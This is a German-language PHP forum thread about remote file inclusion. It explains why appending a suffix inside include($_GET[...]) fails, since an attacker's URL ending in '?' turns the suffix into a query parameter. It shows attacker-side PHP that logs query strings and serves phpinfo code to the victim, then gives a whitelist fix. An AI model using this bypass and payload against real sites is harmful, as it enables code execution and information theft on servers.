Flixus am 15.02.2006 20:43 schrieb:
wie wäre es wenn man nur den seitennamen über gibt??? und in der index dann die richtige endung dran hängt??? dann geht wohl das cross gefährliche code wohl kaum oder doch so ala
index?site=wasweis.html
und in der index dann include($site + "blabla.php");
wäre dennoch die gefahr gegeben?
da die eh includet werden würden, würde man ach nicht die tatsächliche endung die drangehangen wird rausbekommen oder irre ich da?
MfgFlixus
so wie du das hier schreibst ja.
Pass auf, wenn ich an die uebergebene variable einfach nur ein "blabla.php" anhaenge, also so:
Code:
include $_GET['loc']."blabla.php";
dann wuerde ja erstmal mein beispiel nicht funktionieren, denn es wuerde ja versucht, http://www.meinserver.de/gefaehrlicherCode.txtblabla.php zu "includen", was ja nicht geht. aber wenn ich nun anstatt http://www.meinserver.de/gefaehrlicherCode.txt das hier uebergebe:
http://www.meinserver.de/gefaehrlicherCode.txt?
dann sieht die sache schon ganz anders aus, denn dein blabla.php waere als parameter an gefaehrlicherCode.txt? angehaengt worden, was den webserver von www.meinserver.de nicht stoert. ergo - gewonnen habe ich damit nichts.
mehr noch, wenn ich die gefaehrlicherCode.txt in gefaehrlicherCode.php aendere und das hier darein schreibe:
Code:
<?php
$fp = fopen("qs.txt","a");
fwrite($fp,$_SERVER['QUERY_STRING']."\n");
fclose($fp);
echo "<?php echo \"evil!!\"; echo \$PHP_SELF; phpinfo(); ?>";
?>
dann habe ich als admin von www.meinserver.de eine textdatei mit allen query strings, also auch blabla.php, wodurch ich zumindest schonmal etwas ueber die verzeichnisstruktur deines servers weiss..
@virenschlucker:
Code:
<?php
$loc = $_GET['loc'];
$arr = array("home.html","guestbook.html");
if (in_array($loc,$arr) && file_exists($loc)) include $loc;
else exit;